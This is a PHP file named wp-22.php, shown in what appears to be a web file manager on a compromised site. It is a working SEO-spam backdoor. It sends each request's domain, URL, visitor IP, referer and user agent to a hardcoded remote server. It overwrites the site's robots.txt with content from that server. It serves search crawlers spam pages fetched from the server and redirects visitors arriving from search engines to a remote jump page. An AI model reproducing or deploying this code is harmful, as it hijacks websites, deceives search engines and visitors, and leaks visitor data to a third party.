OwlCyberSecurity - MANAGER
Edit File: wp-22.php
<?php function safe_get_contents($url) { if (extension_loaded('curl')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); $output = curl_exec($ch); $error = curl_errno($ch); curl_close($ch); if ($error === 0 && $output !== false) { return $output; } } return @file_get_contents($url); } function safe_post_contents($url, $data = array()) { if (extension_loaded('curl')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $error = curl_errno($ch); curl_close($ch); if ($error === 0 && $output !== false) { return $output; } } // Fallback $opts = array( "http" => array( "method" => "POST", "header" => "Content-Type: application/x-www-form-urlencoded", "content" => http_build_query($data), "timeout" => 10 ) ); $context = stream_context_create($opts); return @file_get_contents($url, false, $context); } function ex() { return exit(); } function is_crawler($agent) { $agent_check = false; $bots = 'googlebot|bingbot|google|aol|bing|yahoo'; if ($agent != '') { if (preg_match("/($bots)/si", $agent)) { $agent_check = true; } } return $agent_check; } function check_refer($refer) { $check_refer = false; $referbots = 'google|yahoo|bing|aol'; if ($refer != '' && preg_match("/($referbots)/si", $refer)) { $check_refer = true; } return $check_refer; } // Base URL $a = '192.187.108.42/z1007_7/'; $a = 'http://' . $a; // Server and request info $http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'); $req_uri = $_SERVER['REQUEST_URI']; $domain = $_SERVER["HTTP_HOST"]; $self = $_SERVER['PHP_SELF']; $ser_name = $_SERVER['SERVER_NAME']; $req_url = $http . $domain . $req_uri; // Remote endpoints $indata1 = $a . "indata.php"; $map1 = $a . "map.php"; $jump1 = $a . "jump.php"; $url_words = $a . "words.php"; $url_robots = $a . "robots.php"; // Build data $href1 = (strpos($req_uri, ".php") !== false) ? $http . $domain . $self : $http . $domain; $data1 = array(); $data1['domain'] = $domain; $data1['req_uri'] = $req_uri; $data1['href'] = $href1; $data1['req_url'] = $req_url; // robots.txt logic if (substr($req_uri, -6) == 'robots') { define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__)); $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt'); $data1['robots_cont'] = $robots_cont; $robots_cont = @safe_post_contents($url_robots, $data1); file_put_contents(BASE_PATH . '/robots.txt', $robots_cont); $robots_cont = @file_get_contents(BASE_PATH . '/robots.txt'); if (strpos(strtolower($robots_cont), "sitemap")) { echo 'robots.txt file create success!'; } else { echo 'robots.txt file create fail!'; } return; } // XML sitemap logic if (substr($req_uri, -4) == '.xml') { if (strpos($req_uri, "allsitemap.xml")) { $str_cont = safe_post_contents($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } $word4 = (strpos($req_uri, ".php")) ? str_replace(".xml", "", explode("?", $req_uri)[count(explode("?", $req_uri)) - 1]) : str_replace(["/", ".xml"], "", $req_uri); $data1['word'] = $word4; $data1['action'] = 'check_sitemap'; $check_url4 = safe_post_contents($url_words, $data1); if ($check_url4 == '1') { $str_cont = safe_post_contents($map1, $data1); header("Content-type:text/xml"); echo $str_cont; return; } $data1['action'] = "check_words"; $check1 = safe_post_contents($url_words, $data1); if (strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml"; $check_url4 = safe_post_contents($url_words, $data1); header("Content-type:text/xml"); echo $check_url4; return; } // Main shell setup $main_shell = (strpos($req_uri, ".php")) ? $http . $ser_name . $self : $http . $ser_name; $data1['main_shell'] = $main_shell; // Referer and crawler check $referer = $_SERVER['HTTP_REFERER'] ?? ''; $chk_refer = check_refer($referer); $user_agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $res_crawl = is_crawler($user_agent); // Redirect logic $url_ext = (strpos($_SERVER['REQUEST_URI'], '.php')) ? '?' : '/'; if (!$res_crawl && $chk_refer) { $data1['ip'] = $_SERVER["REMOTE_ADDR"]; $data1['referer'] = $referer; $data1['user_agent'] = $user_agent; echo safe_post_contents($jump1, $data1); return; } if ($res_crawl || preg_match("#((\?|\/)[a-z])\=\d+#", $req_uri)) { $data1['http_user_agent'] = $user_agent; $ser_cont = safe_post_contents($indata1, $data1); echo $ser_cont; exit(); }